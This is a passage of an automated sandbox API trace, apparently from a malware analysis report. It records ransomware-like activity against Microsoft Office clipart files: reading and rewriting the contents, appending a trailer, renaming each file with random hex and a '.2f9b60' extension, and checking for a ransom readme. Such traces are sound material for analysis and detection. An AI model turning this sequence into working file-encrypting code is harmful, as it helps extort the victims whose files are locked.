Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0109.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0109.859] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad020) returned 1 [0109.859] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4c2b0) returned 1 Thread: id = 710 os_tid = 0x11fc [0096.691] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid")) returned 0x20 [0107.083] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID", dwFileAttributes=0x20) returned 1 [0107.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe44 [0107.716] GetFileSizeEx (in: hFile=0xe44, lpFileSize=0x2c67f8c0 | out: lpFileSize=0x2c67f8c0*=7384) returned 1 [0107.716] SetFilePointerEx (in: hFile=0xe44, liDistanceToMove=0x1cd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.716] ReadFile (in: hFile=0xe44, lpBuffer=0x2c67f840, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c67f888, lpOverlapped=0x0 | out: lpBuffer=0x2c67f840*, lpNumberOfBytesRead=0x2c67f888*=0x4, lpOverlapped=0x0) returned 1 [0107.736] SetFilePointerEx (in: hFile=0xe44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.736] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860330 [0107.736] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8601b0 [0107.736] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ff40 [0107.736] NtQuerySystemTime (in: CurrentTime=0x2c67f780 | out: CurrentTime=0x2c67f780*=132462177132322000) returned 0x0 [0107.736] RtlRandomEx (in: Seed=0x2c67f770 | out: Seed=0x2c67f770) returned 0x55d706e1 [0107.736] RtlRandomEx (in: Seed=0x2c67f770 | out: Seed=0x2c67f770) returned 0x334b0322 [0107.736] RtlRandomEx (in: Seed=0x2c67f770 | out: Seed=0x2c67f770) returned 0x4ca3bbe7 [0107.736] RtlRandomEx (in: Seed=0x2c67f770 | out: Seed=0x2c67f770) returned 0x54cf1947 [0107.736] RtlRandomEx (in: Seed=0x2c67f770 | out: Seed=0x2c67f770) returned 0x29a63449 [0107.736] RtlRandomEx (in: Seed=0x2c67f770 | out: Seed=0x2c67f770) returned 0x6f0cffa4 [0107.736] RtlRandomEx (in: Seed=0x2c67f770 | out: Seed=0x2c67f770) returned 0xa365110 [0107.736] RtlRandomEx (in: Seed=0x2c67f770 | out: Seed=0x2c67f770) returned 0x3c643c17 [0107.736] RtlRandomEx (in: Seed=0x2c67f770 | out: Seed=0x2c67f770) returned 0x386a9583 [0107.736] RtlRandomEx (in: Seed=0x2c67f770 | out: Seed=0x2c67f770) returned 0x1dddbd68 [0107.737] RtlRandomEx (in: Seed=0x2c67f770 | out: Seed=0x2c67f770) returned 0x4309e419 [0107.737] RtlRandomEx (in: Seed=0x2c67f770 | out: Seed=0x2c67f770) returned 0xcb856ab [0107.737] RtlRandomEx (in: Seed=0x2c67f770 | out: Seed=0x2c67f770) returned 0x3fa1420 [0107.737] RtlRandomEx (in: Seed=0x2c67f770 | out: Seed=0x2c67f770) returned 0x497402b [0107.737] RtlRandomEx (in: Seed=0x2c67f770 | out: Seed=0x2c67f770) returned 0x427d129f [0107.737] RtlRandomEx (in: Seed=0x2c67f770 | out: Seed=0x2c67f770) returned 0x482e4ca2 [0107.737] RtlRandomEx (in: Seed=0x2c67f770 | out: Seed=0x2c67f770) returned 0x315af901 [0107.737] RtlRandomEx (in: Seed=0x2c67f770 | out: Seed=0x2c67f770) returned 0x4adcc242 [0107.737] RtlRandomEx (in: Seed=0x2c67f770 | out: Seed=0x2c67f770) returned 0x210329e4 [0107.737] RtlRandomEx (in: Seed=0x2c67f770 | out: Seed=0x2c67f770) returned 0x4eaf75fe [0107.737] RtlRandomEx (in: Seed=0x2c67f770 | out: Seed=0x2c67f770) returned 0x48f7b88b [0107.737] RtlRandomEx (in: Seed=0x2c67f770 | out: Seed=0x2c67f770) returned 0x38154134 [0107.737] RtlRandomEx (in: Seed=0x2c67f770 | out: Seed=0x2c67f770) returned 0x264b95e0 [0107.737] RtlRandomEx (in: Seed=0x2c67f770 | out: Seed=0x2c67f770) returned 0x7207cf7b [0107.737] RtlRandomEx (in: Seed=0x2c67f770 | out: Seed=0x2c67f770) returned 0xbc71dd7 [0107.737] RtlRandomEx (in: Seed=0x2c67f770 | out: Seed=0x2c67f770) returned 0x5cf55af6 [0107.737] RtlRandomEx (in: Seed=0x2c67f770 | out: Seed=0x2c67f770) returned 0x365a30c9 [0107.737] RtlRandomEx (in: Seed=0x2c67f770 | out: Seed=0x2c67f770) returned 0x12ee0211 [0107.737] RtlRandomEx (in: Seed=0x2c67f770 | out: Seed=0x2c67f770) returned 0x60158ad7 [0107.737] RtlRandomEx (in: Seed=0x2c67f770 | out: Seed=0x2c67f770) returned 0x6f9d90b5 [0107.737] RtlRandomEx (in: Seed=0x2c67f770 | out: Seed=0x2c67f770) returned 0x12ef1acf [0107.737] RtlRandomEx (in: Seed=0x2c67f770 | out: Seed=0x2c67f770) returned 0x41e0a165 [0107.750] ReadFile (in: hFile=0xe44, lpBuffer=0x41e5b4e0, nNumberOfBytesToRead=0x1cd8, lpNumberOfBytesRead=0x2c67f770, lpOverlapped=0x0 | out: lpBuffer=0x41e5b4e0*, lpNumberOfBytesRead=0x2c67f770*=0x1cd8, lpOverlapped=0x0) returned 1 [0107.754] SetFilePointerEx (in: hFile=0xe44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.754] WriteFile (in: hFile=0xe44, lpBuffer=0x41e5f0f0*, nNumberOfBytesToWrite=0x1cd8, lpNumberOfBytesWritten=0x2c67f774, lpOverlapped=0x0 | out: lpBuffer=0x41e5f0f0*, lpNumberOfBytesWritten=0x2c67f774*=0x1cd8, lpOverlapped=0x0) returned 1 [0107.775] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8602a0 [0107.775] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8601e0 [0107.775] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8601e0) returned 1 [0107.775] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e5f0f0) returned 1 [0107.775] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e5b4e0) returned 1 [0107.775] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8672c0) returned 1 [0107.775] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd976c0) returned 1 [0107.775] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b8601e0 [0107.775] SetFilePointerEx (in: hFile=0xe44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0107.775] WriteFile (in: hFile=0xe44, lpBuffer=0x1695e0*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2c67f890, lpOverlapped=0x0 | out: lpBuffer=0x1695e0*, lpNumberOfBytesWritten=0x2c67f890*=0x108, lpOverlapped=0x0) returned 1 [0107.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97f30 [0107.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866940 [0107.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860060 [0107.800] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860060) returned 1 [0107.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d000 [0107.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860060 [0107.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860270 [0107.800] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860270) returned 1 [0107.801] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866940) returned 1 [0107.801] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97f30) returned 1 [0107.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9f630 [0107.801] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="c0") returned 2 [0107.801] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="a7") returned 2 [0107.801] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="ec") returned 2 [0107.801] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="20") returned 2 [0107.801] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="ea") returned 2 [0107.801] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="c9") returned 2 [0107.801] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="58") returned 2 [0107.801] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="66") returned 2 [0107.801] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="25") returned 2 [0107.801] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="88") returned 2 [0107.801] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="ca") returned 2 [0107.801] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="7f") returned 2 [0107.801] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="b1") returned 2 [0107.801] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="47") returned 2 [0107.802] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="b5") returned 2 [0107.802] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="02") returned 2 [0107.802] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="09") returned 2 [0107.802] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="f6") returned 2 [0107.802] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="70") returned 2 [0107.802] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="d7") returned 2 [0107.802] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="d6") returned 2 [0107.802] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="3c") returned 2 [0107.802] RtlInitAnsiString (in: DestinationString=0x2c67f908, SourceString="c0a7ec20eac958662588ca7fb147b50209f670d7d63c" | out: DestinationString="c0a7ec20eac958662588ca7fb147b50209f670d7d63c") [0107.802] RtlAnsiStringToUnicodeString (in: DestinationString=0x2c67f8d8, SourceString="c0a7ec20eac958662588ca7fb147b50209f670d7d63c", AllocateDestinationString=1 | out: DestinationString="c0a7ec20eac958662588ca7fb147b50209f670d7d63c") returned 0x0 [0107.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b86e870 [0107.802] wcscat (in: _Dest=0x1b7ad980, _Source="c0a7ec20eac" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c0a7ec20eac") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c0a7ec20eac" [0107.802] wcscat (in: _Dest=0x1b7ad980, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c0a7ec20eac.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c0a7ec20eac.2f9b60" [0107.802] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c0a7ec20eac.2f9b60", NtPathName=0x2c67f8b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c0a7ec20eac.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0107.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x107cc0 [0107.802] NtSetInformationFile (FileHandle=0xe44, IoStatusBlock=0x2c67f950, FileInformation=0x107cc0, Length=0xaa, FileInformationClass=0xa) returned 0x0 [0109.919] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107cc0) returned 1 [0109.919] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027f0d0) returned 1 [0109.919] NtQueryInformationFile (in: FileHandle=0xe44, IoStatusBlock=0x2c67f918, FileInformation=0x2c67f928, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2c67f918, FileInformation=0x2c67f928) returned 0x0 [0109.919] NtSetInformationFile (FileHandle=0xe44, IoStatusBlock=0x2c67f918, FileInformation=0x2c67f928, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.931] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad980) returned 1 [0109.931] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e870) returned 1 [0109.931] FlushFileBuffers (hFile=0xe44) returned 1 [0109.935] CloseHandle (hObject=0xe44) returned 1 [0109.937] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x1b7ad700 [0109.937] wcscpy (in: _Dest=0x1b7ad700, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0109.937] wcscat (in: _Dest=0x1b7ad700, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0109.937] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0109.937] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad700) returned 1 [0109.938] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4c340) returned 1 Thread: id = 711 os_tid = 0x1200 [0096.693] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf")) returned 0x20 [0107.064] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF", dwFileAttributes=0x20) returned 1 [0107.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1770 [0107.084] GetFileSizeEx (in: hFile=0x1770, lpFileSize=0x2c47f7c0 | out: lpFileSize=0x2c47f7c0*=4870) returned 1 [0107.084] SetFilePointerEx (in: hFile=0x1770, liDistanceToMove=0x1302, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.084] ReadFile (in: hFile=0x1770, lpBuffer=0x2c47f740, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c47f788, lpOverlapped=0x0 | out: lpBuffer=0x2c47f740*, lpNumberOfBytesRead=0x2c47f788*=0x4, lpOverlapped=0x0) returned 1 [0107.155] SetFilePointerEx (in: hFile=0x1770, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a66e0 [0107.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6140 [0107.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6b60 [0107.155] NtQuerySystemTime (in: CurrentTime=0x2c47f680 | out: CurrentTime=0x2c47f680*=132462177126394000) returned 0x0 [0107.155] RtlRandomEx (in: Seed=0x2c47f670 | out: Seed=0x2c47f670) returned 0x388d6141 [0107.155] RtlRandomEx (in: Seed=0x2c47f670 | out: Seed=0x2c47f670) returned 0x776f3dd9 [0107.156] RtlRandomEx (in: Seed=0x2c47f670 | out: Seed=0x2c47f670) returned 0x14223102 [0107.156] RtlRandomEx (in: Seed=0x2c47f670 | out: Seed=0x2c47f670) returned 0x10d09c03 [0107.156] RtlRandomEx (in: Seed=0x2c47f670 | out: Seed=0x2c47f670) returned 0x21c6ab42 [0107.156] RtlRandomEx (in: Seed=0x2c47f670 | out: Seed=0x2c47f670) returned 0x2e364c77 [0107.156] RtlRandomEx (in: Seed=0x2c47f670 | out: Seed=0x2c47f670) returned 0x1ea71f3c [0107.156] RtlRandomEx (in: Seed=0x2c47f670 | out: Seed=0x2c47f670) returned 0x142ff9ef [0107.156] RtlRandomEx (in: Seed=0x2c47f670 | out: Seed=0x2c47f670) returned 0x53a161ce [0107.156] RtlRandomEx (in: Seed=0x2c47f670 | out: Seed=0x2c47f670) returned 0x651a1f22 [0107.156] RtlRandomEx (in: Seed=0x2c47f670 | out: Seed=0x2c47f670) returned 0x1b09e7bc [0107.156] RtlRandomEx (in: Seed=0x2c47f670 | out: Seed=0x2c47f670) returned 0x52e7595 [0107.156] RtlRandomEx (in: Seed=0x2c47f670 | out: Seed=0x2c47f670) returned 0x13876ec1 [0107.156] RtlRandomEx (in: Seed=0x2c47f670 | out: Seed=0x2c47f670) returned 0x6b0a75fc [0107.156] RtlRandomEx (in: Seed=0x2c47f670 | out: Seed=0x2c47f670) returned 0x62f3d52b [0107.156] RtlRandomEx (in: Seed=0x2c47f670 | out: Seed=0x2c47f670) returned 0x48288e33 [0107.156] RtlRandomEx (in: Seed=0x2c47f670 | out: Seed=0x2c47f670) returned 0xc4a9ef4 [0107.156] RtlRandomEx (in: Seed=0x2c47f670 | out: Seed=0x2c47f670) returned 0x5ca3819 [0107.156] RtlRandomEx (in: Seed=0x2c47f670 | out: Seed=0x2c47f670) returned 0x10ec8042 [0107.156] RtlRandomEx (in: Seed=0x2c47f670 | out: Seed=0x2c47f670) returned 0x6fbb13d3 [0107.156] RtlRandomEx (in: Seed=0x2c47f670 | out: Seed=0x2c47f670) returned 0x7fc29481 [0107.156] RtlRandomEx (in: Seed=0x2c47f670 | out: Seed=0x2c47f670) returned 0xf71932b [0107.156] RtlRandomEx (in: Seed=0x2c47f670 | out: Seed=0x2c47f670) returned 0x6d260023 [0107.156] RtlRandomEx (in: Seed=0x2c47f670 | out: Seed=0x2c47f670) returned 0x1aaeef0d [0107.156] RtlRandomEx (in: Seed=0x2c47f670 | out: Seed=0x2c47f670) returned 0x5a217b1 [0107.156] RtlRandomEx (in: Seed=0x2c47f670 | out: Seed=0x2c47f670) returned 0x3e135201 [0107.156] RtlRandomEx (in: Seed=0x2c47f670 | out: Seed=0x2c47f670) returned 0x7b73690d [0107.156] RtlRandomEx (in: Seed=0x2c47f670 | out: Seed=0x2c47f670) returned 0x3bb14b59 [0107.156] RtlRandomEx (in: Seed=0x2c47f670 | out: Seed=0x2c47f670) returned 0x7d0570a9 [0107.157] RtlRandomEx (in: Seed=0x2c47f670 | out: Seed=0x2c47f670) returned 0x769df227 [0107.157] RtlRandomEx (in: Seed=0x2c47f670 | out: Seed=0x2c47f670) returned 0x7118dd23 [0107.157] RtlRandomEx (in: Seed=0x2c47f670 | out: Seed=0x2c47f670) returned 0x4f5efb1d [0107.166] ReadFile (in: hFile=0x1770, lpBuffer=0x41f3d170, nNumberOfBytesToRead=0x1306, lpNumberOfBytesRead=0x2c47f670, lpOverlapped=0x0 | out: lpBuffer=0x41f3d170*, lpNumberOfBytesRead=0x2c47f670*=0x1306, lpOverlapped=0x0) returned 1 [0107.221] SetFilePointerEx (in: hFile=0x1770, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.221] WriteFile (in: hFile=0x1770, lpBuffer=0x41f485a0*, nNumberOfBytesToWrite=0x1306, lpNumberOfBytesWritten=0x2c47f674, lpOverlapped=0x0 | out: lpBuffer=0x41f485a0*, lpNumberOfBytesWritten=0x2c47f674*=0x1306, lpOverlapped=0x0) returned 1 [0107.281] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8550 [0107.281] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7ec0 [0107.281] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7ec0) returned 1 [0107.281] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f485a0) returned 1 [0107.281] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f3d170) returned 1 [0107.281] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e090) returned 1 [0107.281] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97bc0) returned 1 [0107.281] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced7ec0 [0107.282] SetFilePointerEx (in: hFile=0x1770, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0107.282] WriteFile (in: hFile=0x1770, lpBuffer=0x167b80*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2c47f790, lpOverlapped=0x0 | out: lpBuffer=0x167b80*, lpNumberOfBytesWritten=0x2c47f790*=0x10a, lpOverlapped=0x0) returned 1 [0107.288] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd976c0 [0107.288] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8675c0 [0107.288] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8340 [0107.288] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8340) returned 1 [0107.289] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0107.289] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8340 [0107.289] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7890 [0107.289] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7890) returned 1 [0107.289] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8675c0) returned 1 [0107.289] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd976c0) returned 1 [0107.289] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0107.289] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="0f") returned 2 [0107.289] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="a3") returned 2 [0107.289] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="be") returned 2 [0107.289] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="f7") returned 2 [0107.289] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="82") returned 2 [0107.289] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="88") returned 2 [0107.289] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="6e") returned 2 [0107.289] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="f1") returned 2 [0107.289] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="c2") returned 2 [0107.289] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="d8") returned 2 [0107.289] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="f7") returned 2 [0107.290] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="92") returned 2 [0107.290] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="77") returned 2 [0107.290] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="82") returned 2 [0107.290] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="70") returned 2 [0107.290] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="cb") returned 2 [0107.290] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="96") returned 2 [0107.290] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="2e") returned 2 [0107.290] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="e1") returned 2 [0107.290] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="58") returned 2 [0107.290] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="a9") returned 2 [0107.290] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="5a") returned 2 [0107.290] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="62") returned 2 [0107.290] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="ea") returned 2 [0107.290] RtlInitAnsiString (in: DestinationString=0x2c47f808, SourceString="0fa3bef782886ef1c2d8f792778270cb962ee158a95a62ea" | out: DestinationString="0fa3bef782886ef1c2d8f792778270cb962ee158a95a62ea") [0107.290] RtlAnsiStringToUnicodeString (in: DestinationString=0x2c47f7d8, SourceString="0fa3bef782886ef1c2d8f792778270cb962ee158a95a62ea", AllocateDestinationString=1 | out: DestinationString="0fa3bef782886ef1c2d8f792778270cb962ee158a95a62ea") returned 0x0 [0107.290] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced6040 [0107.290] wcscat (in: _Dest=0x4205cfb0, _Source="0fa3bef78288" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0fa3bef78288") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0fa3bef78288" [0107.290] wcscat (in: _Dest=0x4205cfb0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0fa3bef78288.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0fa3bef78288.2f9b60" [0107.291] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0fa3bef78288.2f9b60", NtPathName=0x2c47f7b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0fa3bef78288.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0107.291] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x106640 [0107.291] NtSetInformationFile (FileHandle=0x1770, IoStatusBlock=0x2c47f850, FileInformation=0x106640, Length=0xac, FileInformationClass=0xa) returned 0x0 [0109.794] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106640) returned 1 [0109.794] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027d460) returned 1 [0109.794] NtQueryInformationFile (in: FileHandle=0x1770, IoStatusBlock=0x2c47f818, FileInformation=0x2c47f828, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2c47f818, FileInformation=0x2c47f828) returned 0x0 [0109.794] NtSetInformationFile (FileHandle=0x1770, 